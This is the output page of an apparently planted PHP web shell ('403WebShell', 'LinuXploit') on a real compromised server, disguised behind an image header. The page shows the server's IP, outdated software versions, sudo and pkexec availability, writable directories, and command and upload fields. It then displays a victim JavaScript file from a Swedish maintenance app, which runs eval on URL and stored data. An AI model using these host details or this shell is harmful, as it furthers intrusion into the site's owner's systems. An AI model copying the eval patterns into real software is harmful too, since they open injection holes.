????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/labs.astacus.se/POCKETLORD/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/labs.astacus.se/POCKETLORD/js/script_pu.js
// GLOBAL register
var Building;
var Floor;
var Room;
var WorkType;
var Priority;
var InstallationType;
var Installation;
var ErrorCause;
var artikel;
var Customer;
var Workgroup;
var Workstatus;
var Performer;
var WorkorderStoresArticles;
var StoresArticleLocation;
var Worktime;
var Management;

var Person;

var variabelIndex = 0;

// Sets the image to offline
function offline() {
    document.getElementById("version").innerHTML = "OFFLINE";
}

// Sets the image to online
function online() {
    document.getElementById("version").innerHTML = "ONLINE";
}

  if ((navigator.userAgent.match("iPhone"))) {
        document.getElementsByTagName('html')[0].style.zoom = 0.4;
		
		
		
  }

// GLOBAL PlannedMeasures
var PlannedMeasures; //Only used in AO-List in index.html
var PlannedMeasure; // Used on all other pages inside a AO.

function updateSettings(_nbrRegister,_nbrObject,_serverHost){
	
	
	localStorage.setItem("nbrRegister",_nbrRegister);
	
	localStorage.setItem("nbrObject",_nbrObject);
	localStorage.setItem("serverHost",_serverHost);
	
}

function saveSettings(){
	
	updateSettings(document.getElementById("nbrRegister").value,document.getElementById("nbrObject").value,document.getElementById("serverHost").value);
}

function initAO(call, page) {
    
	online();
	
	if(localStorage.getItem("serverHost") == null){
		updateSettings("100","20","http://skane.test.5d.se/api/v1/");
		//updateSettings("100","20","http://vfast.landlord.5d.se/api/v1/");
	}

	

    if (localStorage.getItem('localPUData') == null || localStorage.getItem('localPUData') == "") {
        //var r = confirm("Vill du ladda ner dina arbetsordrar och register från Landlord?");
       // if (r == true) {
			
			//http://vfast.landlord.5d.se/api/v1/PlannedMeasure?where=ispreventivemaintenanceGenerated%20eq%200%7CworkorderStatus%20eq%200|serviceunitguid%20eq%204400000013
			
			
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
		  
		  getJSONVariable(""+serverHost+"PlannedMeasure?take="+nbrObject+"&where=InstallationTypeGUID%20noteq%204404000353","PlannedMeasures","getAllRegisters();");
		  // getJSONVariable(""+serverHost+"PlannedMeasure?take="+nbrObject,"PlannedMeasures","getAllRegisters();");
		 

        //}
    } else {
		
        if (call != "") {
            call = call.replace(/#/g, "'"); // Replace # with '
            eval(call);
        }
		

        if (page != "") {
            page = page.replace(/#/g, "'"); // Replace # with '
            eval(page);
        }
		
		
		var registerTemp = localStorage.getItem("registerTemp");
		
		if (registerTemp != "" ){
			if( registerTemp != null){
			
		
				var JSONdata = JSON.parse(registerTemp);
		
				var fCode = document.getElementById(JSONdata.item.qCode);
				if(fCode != null){
					
					
					var fDescription = document.getElementById(JSONdata.item.qDescription);
			
					fCode.value = JSONdata.item.code;
					fDescription.value = JSONdata.item.description;
					
					
					//if(call != "null"){
						var guid = JSONdata.item.guid;
						
						var	items = eval(JSONdata.item.register);
						var x = 0;
						var obj;
						 for (ao_item in items) {
							 if(items[x].guid == guid){
								 
								 obj = items[x];
							 }
							 x++;
						 }
						
						var name = JSONdata.item.qCode.substr(0,JSONdata.item.qCode.lastIndexOf("."));
						var setValue = "PlannedMeasure." + name;
						if(name != ""){
							eval("PlannedMeasure." + name+" = obj");
						}
						
						localStorage.setItem("registerTemp", "");
						
						submit_data(JSONdata.item.page, '');
					//}
					//localStorage.setItem("registerTemp", "");
				}
			}
			
		}
		
    }

	
}




function populateFields() {


    for (i = 0; i < document.forms[0].elements.length; i++) {
        var type = document.forms[0].elements[i].type;
        var name = document.forms[0].elements[i].name;

        if (type == "text" || type == "textarea" || type == "tel") {
			var obj = 'PlannedMeasure.' + name;
			obj = obj.substr(0,obj.lastIndexOf("."));
            if (eval(obj) != undefined &&  name != "") {
               
				eval('addFieldItem("' + name + '",PlannedMeasure.' + name + ');');
            }
        } else if (type == "select-one") {   
		var obj = 'PlannedMeasure.' + name;
			obj = obj.substr(0,obj.lastIndexOf("."));
            if (eval(obj) != undefined &&  name != "") {   
				var register = name;
				register = register.substr(0,register.lastIndexOf(".")-4);
				eval('addSelectItems("' + name + '",' + register + ');');
				eval('selectItem("' + name + '",PlannedMeasure.' + name + ');');
			 }
        }
    }
	//function addSelectItems(selectId, items) {

    var aonummer = getQueryAONummer();
    document.getElementById("link_status").href = "status.html?mn=" + aonummer;
	document.getElementById("link_planeradatgard").href = "planeradatgard.html?mn=" + aonummer;
  

    setPUTopic();
	
	
	if(document.getElementById("InspectionDate") != undefined){
		
		
				var currentTime = new Date();
				var month = currentTime.getMonth() + 1;
				if(month < 10){
					month = "0"+month;	
				}
				var day = currentTime.getDate();
				if(day < 10){
					day = "0"+day;	
				}
				var year = currentTime.getFullYear();
				var datum= year +"-"+ month + "-" + day;


		document.getElementById("InspectionDate").value = datum;
	}

}






function setBarcode(barcode, page, target) {
	if(page == "stadkontroll"){
		 location.href = barcode;
	}else{
		
		//alert( page + "?mn=" + barcode + "&target=" + target);
    	location.href = page + "?mn=" + barcode + "&target=" + target;
	}
}

function drawPUTable(byggnad, forv,atgardsar,atgard) {

	
	document.getElementById("loading").style.visibility = "hidden";
    var table = '<table width="730" border="0" align="center" cellpadding="0" cellspacing="0" class="sortable" id="cp_table">';
    table += '<tr>';
    table += '<td width="15"></td>';
    table += '<td width="120"><strong>Förvaltn. obj.</strong></td>';
    table += '<td width="240"><strong>Byggnad</strong></td>';
    table += '<td width="134"><strong>Åtgärd</strong></td>';
    table += '<td width="147"><strong>Åtgärdsår-månad</strong></td>';
    table += '<td width="74">&nbsp;</td>';
    table += '</tr>';
  //  var x = 0;
	
	for(var x = 0; x <  PlannedMeasures.length;x++){
   // for (ao_item in PlannedMeasures[x]) {
        //if (PlannedMeasures[x].PlannedMeasureStatusTitle == "Aktiv") {
			if(PlannedMeasures[x] != undefined){
            var link = 'javascript:document.location.href=\'planeradatgard.html?mn=' + PlannedMeasures[x].guid + '&index=' + x + '\'';
			
            show = false;
            var script = "";
            if (byggnad != "") {
				if(PlannedMeasures[x].BuildingGUID != null){
                	script += " && PlannedMeasures[x].BuildingGUID.Title.toUpperCase().indexOf(byggnad.toUpperCase()) !== -1 ";
				}
            }
            if (forv != "") {
				if(PlannedMeasures[x].ManagementGUID != null){
                	script += " && PlannedMeasures[x].ManagementGUID.ID.toUpperCase().indexOf(forv.toUpperCase()) !== -1 ";
				}
            }
			
			 if (atgardsar != "") {
				if(PlannedMeasures[x].PlannedDate != null){
                	script += " && PlannedMeasures[x].PlannedDate.toUpperCase().indexOf(atgardsar.toUpperCase()) !== -1 ";
				}
            }
         
		 
		  if (atgard != "") {
				if(PlannedMeasures[x].MeasureCodeGUID != null){
                	script += " && PlannedMeasures[x].MeasureCodeGUID.ID.toUpperCase().indexOf(atgard.toUpperCase()) !== -1 ";
				}
            }
			
			
				var currentTime = new Date();
				var month = currentTime.getMonth() + 1;
				if(month < 10){
					month = "0"+month;	
				}
				var day = currentTime.getDate();
				if(day < 10){
					day = "0"+day;	
				}
				var year = currentTime.getFullYear();
				var datum= year +"-"+ month + "-" + day;
				
			
				var status = "";
				if(PlannedMeasures[x].InspectionDate.substr(0,10) < datum){
				
				 status = '<img src="../../images/red.png" alt="" width="10" height="10">';
				}else{
					 status = '<img src="../../images/green.png" alt="" width="10" height="10">';
					
				}
			
			
         
         
            script = script.substring(4, 500);
            if (script == "") {
                script = "true";
			}

            if (eval(script)) {
                show = true;
            }

            if (show == true) {
				
				
				if(PlannedMeasures[x].ManagementGUID!= null){
					var Management = PlannedMeasures[x].ManagementGUID.ID;
				}
				
				if(PlannedMeasures[x].BuildingGUID!= null){
					var Building = PlannedMeasures[x].BuildingGUID.ID +" "+ PlannedMeasures[x].BuildingGUID.Title;
				}
				
				if(PlannedMeasures[x].MeasureCodeGUID!= null){
					var MeasureCode = PlannedMeasures[x].MeasureCodeGUID.ID;
				}
				
				if(PlannedMeasures[x].PlannedDate!= null){
					var PlannedDate = PlannedMeasures[x].PlannedDate.substr(0,7);
				}
				
				
		
                table += '<tr>';
                table += '<td width="15" height="40">' + status + '</td>';
				table += '<td width="120">'+Management+'</td>';
                table += '<td width="240">'+Building+'</td>';
                table += '<td width="134">'+MeasureCode+'</td>';
                table += '<td width="147">'+PlannedDate+'</td>';
                table += '<td width="74" align="right"><input type="button" name="button3" id="button3" value="Vidare" onClick="'+link+'"  class="buttons_small"></td>';
                table += '</tr>';
            }
			
        }

    }
    table += '</table>';
    document.getElementById("energy_table").innerHTML = table;

    sorttable.makeSortable(document.getElementById("cp_table"));
    enableFormsInIscroll();
	

}

function showMessage(message){
	alert(message);
}


function drawRegisterTable(kod, beskrivning, flag) {
	
	if(flag == undefined){
		
		flag = "";	
	}
	
	document.getElementById("loading").style.visibility = "hidden";
	
    var qDescription = getQueryDescritpion();
    var qCode = getQueryCode();
    var qPage = getQueryPage();
	var qRegister = getQueryRegister();
    var qAONummer = getQueryAONummer();
    var x = 0;
	

    if (eval(qRegister) == null) { // Downlod the register if it does not exist local!
        var r = confirm("Detta register måste laddas ner från er Server, vill du göra det nu?");
        if (r == true) {
			
			var nbrRegister = localStorage.getItem("nbrRegister");
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
			getJSONVariable(""+serverHost+""+qRegister+"?take="+nbrRegister+"",qRegister,"drawRegisterTable('','','');");
        
		}
    }
	
	

	if(qRegister == "Building" && flag == ""){
		
			var nbrRegister = localStorage.getItem("nbrRegister");
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
			var ManagementGUID = PlannedMeasure.ManagementGUID.guid;
			
			
			getJSONVariable(""+serverHost+"Building?where=ManagementGUID%20eq%20"+ManagementGUID+"&take="+nbrRegister,qRegister,"drawRegisterTable('','','stop');");	
	}
	
	
	if(qRegister == "Floor" && flag == ""){
		
			var nbrRegister = localStorage.getItem("nbrRegister");
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
			var BuildingGUID = PlannedMeasure.BuildingGUID.guid;
			//alert(""+serverHost+"Floor?where=BuildingGUID%20eq%20"+BuildingGUID+"&take="+nbrRegister,qRegister,"drawRegisterTable('','','stop');");
			getJSONVariable(""+serverHost+"Floor?where=BuildingGUID%20eq%20"+BuildingGUID+"&take="+nbrRegister,qRegister,"drawRegisterTable('','','stop');");	
	}
	
	if(qRegister == "Room" && flag == ""){
		
			var nbrRegister = localStorage.getItem("nbrRegister");
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
			var FloorGUID = PlannedMeasure.FloorGUID.guid;
			getJSONVariable(""+serverHost+"Room?where=FloorGUID%20eq%20"+FloorGUID+"&take="+nbrRegister,qRegister,"drawRegisterTable('','','stop');");	
	}
	
	
	
	
	
    var table = '<table width="730" border="0" align="center" cellpadding="0" cellspacing="0" class="sortable" id="cp_table">';
    table += '<tr>';
    table += '<td width="200"><strong>Kod</strong></td>';
    table += '<td width="480"><strong>Benämning</strong></td>';
    table += '<td width="50">&nbsp;</td>';
    table += '</tr>';
	
	var	items = eval(qRegister);
	
    for (ao_item in items) {


			var ID = items[x].ID;
			var Title = items[x].Title;
			var guid = items[x].guid;
			
			if(ID == undefined){
				ID = items[x].guid;
			}
			if(Title == undefined){
				Title = ""	
			}
	
			
	

        var link = "updateFieldsFromRegister('" + qCode + "','" + qDescription + "','"+qRegister+"','" + ID + "','"+guid+"','" + Title + "','" + qAONummer + "','" + qPage + "');";
		
        show = false;

        var script = "";
        if (kod != "") {
            script += " && " + qRegister +"[x].ID.toUpperCase().indexOf(kod.toUpperCase())  !== -1 ";

        }
        if (beskrivning != "") {
            script += " && " + qRegister + "[x].Title.toUpperCase().indexOf(beskrivning.toUpperCase()) !== -1 ";
        }
	

        script = script.substring(4, 500);
        if (script == "") {
            script = "true";
        }


        if (eval(script)) {
            show = true;
        }

        if (show == true) {
			
			
			
            table += '<tr>';
            table += '<td width="200" height="40">' + ID + '</td>';
            table += '<td width="480">' + Title + '</td>';
            table += '<td width="50" align="right"><input type="button" value="Välj" onClick="' + link + '" class="buttons_small"></td>';
            table += '</tr>';
        }
        x++;
    }
    table += '</table>';
    document.getElementById("ao_table").innerHTML = table;

    sorttable.makeSortable(document.getElementById("cp_table"));
    enableFormsInIscroll();
}


function enableFormsInIscroll() {
    [].slice.call(document.querySelectorAll('input, select, button, textarea')).forEach(function (el) {
        el.addEventListener(('ontouchstart' in window) ? 'touchstart' : 'mousedown', function (e) {
            e.stopPropagation();
        })
    })
}


function filterPU() {
    drawPUTable(document.getElementById("urval_byggnad").value.toString(), document.getElementById("urval_forv").value.toString(), document.getElementById("urval_atgardar").value.toString(), document.getElementById("urval_atgard").value.toString());
}

function filterRegister() {
    drawRegisterTable(document.getElementById("urval_kod").value.toString(), document.getElementById("urval_beskrivning").value.toString(),'stop');
}


function reloadPURgisterAndUnderhall() { //DONE
    var r = confirm("Vill du verkligen ladda om alla poster?");
    if (r == true) {
		
		var p = prompt("Ange byggnadskod:","");
		variabelIndex = 0;
		
		var nbrRegister = localStorage.getItem("nbrRegister");
		var nbrObject = localStorage.getItem("nbrObject");
		var serverHost = localStorage.getItem("serverHost");
	
		getJSONVariable(""+serverHost+"PlannedMeasure/?where=InstallationTypeGUID%20noteq%204404000353|BuildingID%20begins%20"+p+"&take="+nbrObject,"PlannedMeasures","getAllRegisters();");
       
    }
}



function getAllRegisters(){
	
	var nbrRegister = localStorage.getItem("nbrRegister");
	var nbrObject = localStorage.getItem("nbrObject");
	var serverHost = localStorage.getItem("serverHost");
	var registerArray = ["getJSONVariable('"+serverHost+"Room/?take="+nbrRegister+"','Room','getAllRegisters();');","getJSONVariable('"+serverHost+"Building/?take="+nbrRegister+"','Building','getAllRegisters();');","getJSONVariable('"+serverHost+"Floor/?take="+nbrRegister+"','Floor','getAllRegisters();');","getJSONVariable('"+serverHost+"Management/?take="+nbrRegister+"','Management','getAllRegisters();');","getJSONVariable('"+serverHost+"InstallationType/?take="+nbrRegister+"','InstallationType','getAllRegisters();');","getJSONVariable('"+serverHost+"Installation/?take="+nbrRegister+"','Installation','getAllRegisters();');","getJSONVariable('"+serverHost+"Person/?take="+nbrRegister+"','Person','getAllRegisters();');","getJSONVariable('"+serverHost+"pmPriority/?take="+nbrRegister+"','Priority','drawPUTable(##,##,##,##)');"];
	
	eval(registerArray[variabelIndex]);
	variabelIndex++;
}

function getJSONVariable(url,variable,functionToCall) {
		
		document.getElementById("loading").style.visibility = "visible";
		document.getElementById("loading").innerHTML="<br><strong>LADDAR...</strong><br><div class='texts'>"+variable+"</div>";
         
		if (functionToCall != "") {
            functionToCall = functionToCall.replace(/#/g, "'"); // Replace # with '
        }
		
		
		look = true;
		var call = url.replace("http://","getjsonvariable://")+"!"+variable+"&"+functionToCall;
		window.location = call;
	  
}



function setJSONVariable(variable,functionToCall){
	
	
	 variable = variable.replace(/\r\n/g, ""); 
	 variable = variable.replace(/\n/g, ""); 
	 variable = variable.replace(/\r/g, ""); 
	 //variable = variable.replace(/\\\"/g, ""); 
	
	
	
	 functionToCall = functionToCall.replace(/#/g, "'");
	
	if(variable != "" && functionToCall != ""){
		
		if (variable.indexOf("PlannedMeasures") !== -1) {
	        localStorage.setItem("localPUData", variable);
    	}
		
	
			eval(variable);
		
			
		
		//	
		
		eval(functionToCall);
		
		if (localStorage.getItem("localPURegister") != "") { // Append new register!
            var regs = localStorage.getItem("localPURegister");
            variable = regs + ";" + variable;
            localStorage.setItem("localPURegister", variable);
        } else {
            localStorage.setItem("localPURegister", variable);
        }
		
		
	
	}else if(variable != "" && functionToCall == ""){
		eval(variable);
	}else if(variable == "" && functionToCall != ""){
		eval(functionToCall);
	}
}






function openRegisterView(register, code ,description, page) {
    var ao = getQueryAONummer();
    window.location = "register.html?ao=" + ao + "&code=" + code + "&register=" + register + "&description=" + description + "&page=" + page;
}

// Add Items to a select menu
function addSelectItems(selectId, items) {
    var select = document.getElementById(selectId);
    select.options.length = 0;
    for (index in items) {
        select.options[select.options.length] = new Option(items[index].ID, items[index].ID);
    }
}

// Selects Items to a select menu
function selectItem(selectId, items) {
    var selObj = document.getElementById(selectId);
    for (var i = 0; i < selObj.options.length; i++) {
        if (selObj.options[i].text == items) {
            selObj.options[i].selected = true;
        }
    }
}

function updateFieldsFromRegister(qCode, qDescription, qRegister, code, guid, description, aonumber, page) {

        var registerTemp = {
            "item": {
                "qCode": qCode,
                "qDescription": qDescription,
				"register": qRegister,
                "code": code,
				"guid": guid,
                "description": description,
                "page": page
            }
        }
    

    localStorage.setItem("registerTemp", JSON.stringify(registerTemp));

   
        window.location = page + ".html?mn=" + aonumber;
    
}

// Add Items to a textfield
function addFieldItem(selectId, i) {
	var field = document.getElementById(selectId);
	
	if(selectId.indexOf("DateTime") !== -1 || selectId.indexOf("Date") !== -1){
		// Syntax is like 2012-01-01T00:00:00.123 -> 2012-01-01 00:00
		i = i.replace("T"," ");
		i = i.substr(0,10);
						
	}
	if(i != undefined){
		field.value = i;
	}
	
}

function sendEmail() {
    location.href = "mailto:" + arbetsorder.ovrigt.epost;
}

function callPhone() {
    location.href = "call:" + arbetsorder.ovrigt.epost;
}

function smsPhone() {
    location.href = "sms:" + arbetsorder.ovrigt.epost;
}


//Update the description based on new option text
function updateSelect(selObj, items, field, page) {
    var newText = selObj.options[selObj.selectedIndex].text;
    items = eval(items);
    for (index in items) {
        if (items[index].ID == newText) {
            addFieldItem(field, items[index].Title);
        }
    }
    submit_data(page, '');
}



// Creates an XML of all fields data and saves it in localStorage called localXML
function submit_data(page, goto) {


    for (i = 0; i < document.forms[0].elements.length; i++) {
        var name = document.forms[0].elements[i].name;
        var type = document.forms[0].elements[i].type;
        var value = document.forms[0].elements[i].value;
		//alert("name:"+name+" type:"+type);
        if (type == "text" || type == "tel" || type == "select-one" || type == "textarea") {

			
			//var setValue = "Workorder." + name + " = '" + value + "'";
			var temp_name = name.substr(0,name.lastIndexOf("."));
			
			if(name.indexOf("DateTime") !== -1 || name.indexOf("Date") !== -1){
				value += "T00:00:00";		
			}
			
			if(name.lastIndexOf(".")  === -1){
				
					var setValue = "PlannedMeasure." + name  + " = '" + value + "'";
					
					eval(setValue);
			}else{
				if(eval("PlannedMeasure."+temp_name) != null){
					var setValue = "PlannedMeasure." + name  + " = '" + value + "'";
					//alert(setValue);
					eval(setValue);
			
				}
			}
        
		}

    }
	
	
	
		if(page == "avlasning"){
	//	 setENERGYIndex();
	}
	
	if(getQueryAONummer() == "0"){
		PlannedMeasure.guid = 0;
	}
	

    localStorage.setItem("currentPU", JSON.stringify(PlannedMeasure));

    if (goto != "") {
        if (goto != "index.html") {
            location.href = goto + "?mn=" + getQueryAONummer();
        } else {
	
            var localPUData = localStorage.getItem("localPUData");
            var index = getIndexForAONumber(getQueryAONummer());
            var JSONdata = eval(localPUData);

            localStorage.setItem("localPUData", "PlannedMeasures = " + JSON.stringify(JSONdata));
			
			var nbrRegister = localStorage.getItem("nbrRegister");
			var nbrObject = localStorage.getItem("nbrObject");
			var serverHost = localStorage.getItem("serverHost");
			var url = ""+serverHost+"PlannedMeasure/action/save/?"
			
			var call = url.replace("http://","sendjson://") + localStorage.getItem("currentPU");
			
			//Update AO List
			PlannedMeasures[parseInt(localStorage.getItem("ENERGYIndex"))] = JSON.parse(localStorage.getItem("currentPU"));
			localStorage.setItem("localPUData", "PlannedMeasures = " + JSON.stringify(PlannedMeasures));
			
			//alert(call);
		
			window.location = call;
	
        }
    }
}


function setPUIndex() {
   

    var path = document.location.toString();
    var index = path.substring(path.indexOf("&index=") + 7);
    if (index.length < 10) { // Make sure we only store index when its a number. If we navigate to uppdrag.html from any other page we shall not reset ENERGYIndex
        localStorage.setItem("ENERGYIndex", index);

        var savedlocalPUData = localStorage.getItem('localPUData');
        eval(savedlocalPUData);

        localStorage.setItem("currentPU", JSON.stringify(PlannedMeasures[index]));

        var savedAORegister = localStorage.getItem("localPURegister");
        eval(savedAORegister);

        var savedcurrentPUData = localStorage.getItem('currentPU');
        savedcurrentPUData = "PlannedMeasure = " + savedcurrentPUData
        eval(savedcurrentPUData);
    }
	 
	
}

function getQueryCode() {
    var path = document.location.toString();
    var qCode = path.substring(path.indexOf("&code=") + 6);
    var pos = qCode.indexOf("&");
    return qCode.substring(0, pos);
}

function getQueryDescritpion() {
    var path = document.location.toString();
    var qDecription = path.substring(path.indexOf("&description=") + 13);
    var pos = qDecription.indexOf("&");
    return qDecription.substring(0, pos);
}

function getQueryRegister() {
    var path = document.location.toString();
    var qRegister = path.substring(path.indexOf("&register=") + 10);
    var pos = qRegister.indexOf("&");
    return qRegister.substring(0, pos);
}

function getQueryPage() {
    var path = document.location.toString();
    return path.substring(path.indexOf("&page=") + 6);
}


function setPUTopic() {
    var topic = document.getElementById("topic");
	if(PlannedMeasure.MeasureCodeGUID != null){
    	topic.innerHTML = PlannedMeasure.MeasureCodeGUID.ID + " - " + PlannedMeasure.MeasureDescriptionPlain.substr(0,35);
	}
}



function reloadPage(page) {
    return page + "?" + Math.random();
}



/*
	FUNCTIONS USED BY Arbetsorder 
*/

// Returns the array index in arbetsorder for a given aonummer. 
function getIndexForAONumber(aonummer) {
    return localStorage.getItem("ENERGYIndex");
}

function newPU() {
    var r = confirm("Vill du ärva egenskaper från den senaste åtgärden?");
    if (r == true) {
        window.location = "planeradatgard.html?mn=0";
    } else {
		PlannedMeasure = getEmptyPlannedMeasure();
		localStorage.setItem('currentPU',JSON.stringify(PlannedMeasure));
        window.location = "planeradatgard.html?mn=0";
    }
}

function getEmptyPlannedMeasure(){
	return {
    "guid": 0,
    "MeasureCodeGUID": null,
    "MeasureDescriptionPlain":"",
    "PlannedDate": "0001-01-01T00:00:00",
    "PlannedCost": null,
    "InstallationTypeGUID": null,
    "InstallationGUID": null,
    "IsLocked": false,
    "Quantity": "",
    "Interval": "",
    "IntervalTypeID": "",
    "InspectionPersonGUID": null,
    "InspectionDate": "0001-01-01T00:00:00",
    "PriorityGUID": null,
    "CustomerGUID": null,
    "ManagementGUID": null,
    "PropertyGUID": null,
    "BuildingGUID": null,
    "FloorGUID": null,
    "RoomGUID": null,
    "DisengagingState": ""
  };
}


function getQueryAONummer() {
    var path = document.location.toString();
    var qAONummer = path.substring(path.indexOf("?") + 4);
    var pos = qAONummer.indexOf("&");
    if (pos === -1) {
        return qAONummer;
    } else {
        return qAONummer.substring(0, pos);
    }
}



function takePhoto(page,photo){
	var url = "takephoto://"+page+".html#"+photo;
	window.location = url;
}

function showPhoto(page,photo,photoname){
	//window.location = page;¨
	alert(document.getElementById(photo).src);
	document.getElementById(photo).src = "http://www.astacus.se/images/verktyg.jpg";
	
}

function showImage(){
	document.getElementById("photo").src ="http://labs.astacus.se/POCKETLORD/Moduler/PU/image.php";
}

function goToList(){
	  window.location = "index.html";
}


function sendJSONResult(obj){
	
	//alert((obj));
	var Result = JSON.parse((obj));
	
	if(Result.SaveMessage != null){
		alert(Result.SaveMessage);
	}else{
	
	
	//alert(Result.UpdatedModel.replace(/#/g, '"'));
		//var UpdatedWorkOrder = JSON.parse(Result.UpdatedModel.replace(/#/g, '"'));
		var UpdatedWorkOrder = Result.UpdatedModel;
		

		if(UpdatedWorkOrder.WorkorderNumber != null){
		
			PlannedMeasures[parseInt(localStorage.getItem("ENERGYIndex"))] = UpdatedWorkOrder;
			localStorage.setItem("localPUData", "PlannedMeasures = " + JSON.stringify(PlannedMeasures));
			
			alert("Tack, data har synkroniserats!");
			window.location = "index.html";
		}else if(UpdatedWorkOrder.StoresGUID != null){
			alert("Tack, data har synkroniserats!");
			window.location = "inventering.html";
		}else{
				
		
		alert("Tack, data har synkroniserats!");
			window.location = "index.html";
			}
		
	
		}
}

Youez - 2016 - github.com/yon3zu
LinuXploit